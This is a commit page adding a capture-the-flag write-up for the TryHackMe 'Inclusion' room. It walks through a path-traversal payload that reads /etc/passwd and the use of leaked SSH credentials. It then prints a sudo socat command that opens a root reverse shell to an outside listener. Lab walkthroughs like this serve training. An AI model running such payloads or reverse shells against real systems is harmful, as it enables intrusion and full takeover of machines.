Skip to content

Commit 51fcf03

Browse files
mzfrmzfr
authored andcommitted
Writeup for inclusion
1 parent ad666aa commit 51fcf03

File tree

8 files changed

+55
-0
lines changed

8 files changed

+55
-0
lines changed

TryHackme/images/gtfp.png

80 KB
Loading

TryHackme/images/nmap.png

28 KB
Loading

TryHackme/images/passwd.png

126 KB
Loading

TryHackme/images/root.png

10.1 KB
Loading

TryHackme/images/ssh.png

73.5 KB
Loading

TryHackme/images/sudo.png

21.6 KB
Loading

TryHackme/images/website.png

85.4 KB
Loading

TryHackme/inclusion.md

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
# Inclusion
2+
3+
This is for my room named `inclusion` on TryHackMe.com
4+
5+
## NMAP
6+
7+
![](images/nmap.png)
8+
9+
We start with nmap scan and find out that only port 22 and 80 is open.
10+
11+
## HTTP
12+
13+
If we start looking on port 80 we'll notice a minimal website which seems like a blog under development.
14+
15+
![](images/website.png)
16+
17+
We notice that there are 3 `articles` we can click on any of those and notice the URL it's like `http://inclusion.local/article?name=hacking` so there is a parameter which we can test for LFI/RFI/SQLi or other vulnerabilities. But since other articles were talking about LFI/RFI we would test for those first.
18+
19+
![](images/passwd.png)
20+
21+
We find out that we can included the `/etc/passwd` file using path traversal technique
22+
23+
```bash
24+
../../../../../../../../../../../../../../../../../../etc/passwd
25+
```
26+
27+
so in the `name` parameter we pass that value and we are able to read the `/etc/passwd` file meaning it was LFI. We also notice that there is a comment which contains a username and password.
28+
29+
So I used `falconfeast` as username and `rootpassword` as password to login into the machine via SSH.
30+
31+
![](images/ssh.png)
32+
33+
And now we can read `user.txt` which is in `/home/falconfeast`.
34+
35+
## Privilege escalation
36+
37+
Since we are a user on the system I checked for sudo right of that user by running
38+
39+
```bash
40+
sudo -l
41+
```
42+
![](images/sudo-right.png)
43+
44+
We can see that `falconfeast` can run `socat` as `root`. We can search [gtfobins](gtfobins.github.io/) for socat binary. You can also search that using tool like [gtfo](github.com/mzfr/gtfo).
45+
46+
![](images/gtfo.png)
47+
48+
We see that we can get a reverse shell using `socat`. We run the following command from the machine while our listener is listening on port `4444`
49+
50+
```bash
51+
$ sudo -u root /usr/bin/socat tcp-connect:192.168.1.107:4444 exec:sh,pty,stderr,setsid,sigint,sane
52+
```
53+
54+
![](images/root.png)
55+

0 commit comments

Comments
 (0)